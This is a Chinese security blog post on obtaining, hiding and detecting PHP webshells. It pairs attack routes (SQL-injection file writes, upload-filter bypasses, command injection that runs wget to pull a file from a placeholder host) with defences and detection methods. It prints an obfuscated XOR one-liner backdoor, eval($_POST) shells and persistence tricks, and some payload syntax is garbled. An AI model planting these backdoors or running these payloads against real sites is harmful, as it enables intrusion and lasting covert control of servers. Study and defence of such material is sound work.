webshell获取与查杀
安迪·杜弗闰 判你两个无期徒刑,不准保释。
favicon.ico
0x00前言
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell
常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限,以asp、php、jsp
或cgi
等网页形式存在得到一种命令执行环境。由于webshell
其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
那么我们为什么要入侵一个网站,当然自诩白帽子的我,如果拿到一个站,会提交的。其他人拿到服务器,可能为了数据吧,单纯的增加自己字典内容什么的。
0x01 获得方式
- SQL注入(mysql数据库有
file权限
)获取webshell- 上传漏洞获取webshell
- 任意命令执行获取webshell
- 任意代码执行获取webshell
- 任意文件包含获取webshell
- 后台功能获取webshell
- 等
SQL注入
条件
- 当前连接mysql数据库的用户,具有file权限
- 知道网站的绝对路径 (可通过报错,
load_file()
读取配置文件)- mysql有网站目录写权限
- 单引号没被转义
利用:
select <? php phpinfo(); ?> into load_file ‘/var/www/html/phpinfo.php’
防护:
- 数据库连接用户使用非root权限(限制file权限,配置只能读某目录下的文件)
- 不要输出
mysql_error
(php代码中注释调试信息)- 关闭远数据库程连接,采用防火墙或者安全策略
上传漏洞获取webshell
流程:
- 先判断上传点是编辑器功能,还是写的代码上传。
- 如果是编辑器上传功能,搜当前编辑器版本的漏洞
- 如果是代码写的上传功能
- 上传一个正常jpg图片,查看路径
- 上传图片一句话的jpg文件,抓包改后缀为php(可检测前端,mime,文件内容等验证)
- 后缀过滤,%00截断。
- 绕过办法。当上述的改包失败后,只能上传一句话的jpg的时候。
- 解析漏洞 (判断web服务器类型和版本,并查找相关漏洞)
- 结合其他功能 ,可结合文件包含,因为有图片路径。
防御
- 编辑器漏洞按照官方补丁升级,多关注技术前沿的文章,学习防护
- 客户端,服务端使用白名单和黑名单严格过滤检测可允许上传文件大小,大小写文件名,文件类型。客户端生成临时文件名,特定目录。检测截断字符。
- 用户可以更改文件名,但是不能更改文件后缀类型。
- 对HTTP包头的
content-type
- 运维人员使用多种工具扫描,经常查看日志
- 上传功能非必选可以直接删除。除对系统自生的维护外,服务器应进行合理配置,非必选一般的目录都应去掉执行权限,上传目录可配置为只读。
任意代码执行获取webshell
条件
- 网站绝对路径
- 利用代码执行读取apache配置文件,查找根目录
- 执行pwd ,获取当前目录路径
- apache对网站目录写权限,一般图片上传目录,apache都有写权限
利用
command=echo “<?php phpinfo(); ?>” > /var/www/ html/phpinfo.php
command=wget -O /var/www/html/phpinfo.php http:\//xxxx/phpinfo.txt ///wegt可替换为curl
防御
任何用户可以控制的变量都要进行严格的检查和过滤。只要有用户可输入的地方就有可能存在漏洞。
任意命令执行获取webshell
任意文件包含获取webshell
后台功能获取webshell
0x02 持久隐藏webshell
一旦拿到webshell
,那么要想长期控制网站或者服务器,就得隐藏的很深,以至于不会被轻易删除。
### 文件及目录
- 文件名尽量普通具有迷惑性 (/admin.help)
- 文件放在网站后台目录
利用文件包含
在脚本文件里写入
include('/upload/x.jpg')
//图马一句话
编码
< ?php
@$_++;
$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);?
<?
@$_POST0
<?
@eval($_POST[1])
callback 函数
修改php代码
修改主页的代码。加入一句话之类的。
thinkphp 框架留后门
0x03 如何检测webshell
漏洞很多都有互相辅助的利用方式,安全检测防护应该全面。
分类
- 动态检测
- 静态检测
- 日志检测
静态检测
静态检测技术是指对被测软件的源程序或者二进制代码进行扫描,从语法、语义上理解程序的行为,直接分析被检测程序的特征,寻找可能导致错误的异常。具体的扫描过程可以使用采取形式化验证技术的程序扫描,或者手工测试的方法。
二进制对比技术(Binary Contrast)和词法分析(Lexical Analysis)是针对软件代码进行审查的检测技术,这类技术具有简单高效的优势,但是只针对代码本身特征的检查并不能很好的检查出具有逻辑关联的复杂 漏洞,虽然可以对其中引入模式识别来加强检查时特征的匹配类型,也只能略微加强其检查特征;规则检查(Rule Check)是检测已知漏洞的一种代码扫描技 术,对于已知类型漏洞,该技术具有高效且准确率高的特点,但是并不能检测未知类型的漏洞;类型推导
(Type Inference)是针对编程语言本身的检测技术,自动化程度高,但是这种检查只能针对控制流不相关的漏洞;模型检测
(Model Detection)是一种较为成熟的形式化检测方法,主要检测与时序相关的漏洞,但是这种检测方法对内存相关漏洞类型支持度不高,且检测时资源消耗大; 定理证明(Theorem Proving)与符号执行(Symbolic Execution)检测方法偏重于理论证明,使用严格的数学推理进行,但是目前并没有与实际应用契合度高的算法出现。
动态检测
动态检测技术是一种不同于静态检测技术的动态的检测技术,它通过调试器运行被检测的软件的某项功能,检查运行结果与预期结果的差距,来确定被测软件此功能是否存在安全缺陷。这是一种针对软件功能的检测技术,它主要由构造测试用例,调试软件程序,分析软件程序三个部分构成。
缺陷注入
(Defect injection)具有自动化程度高的显著优点,但是其测试具有盲目性,测试用例量大,时间效率低;内存映射(Memory mapping)通过对内存映象进行管理来发现与内存相关的漏洞,该检测技术需要修改操作系统内核策略,在Windows平台下实用意义不大;安全共享库
(Safety shared libraries)是针对与系统调用相关的漏洞,检测准确率高,但是类型单一,对其他类型漏洞扩展性不佳;堆栈控制
(Stack Control)是针对缓冲区溢出型漏洞的检测技术,对大部分漏洞具有很好的效果,但是对早期的程序兼容性不佳,且有较高的系统开销;沙箱
(Sandbox)和程序释义
(Interpretation Procedure)分别是过滤型和伴随型的安全策略检测技术,控制严格,检测准确率较好,但是制订安全策略复杂,缺少实用度高的算法。
日志检测
日志是一个很重要的检测手段,可以通过各种日志来分析被入侵的手段方法,来更好的知己知彼针对防护,但是日志存在被删的可能,所以安装一些软件来实时监控文件
,并且把改动的地方输出到几个不起眼的文件中,就算日志被删,还能有备份文件查看入侵者做了什么攻击。
题外话:如果你对本站文章字体有任何不适,请告知我,我会回复你,字体问题请让浏览器调到对眼睛舒适的大小;默认不允许转载,除非转载注明出处。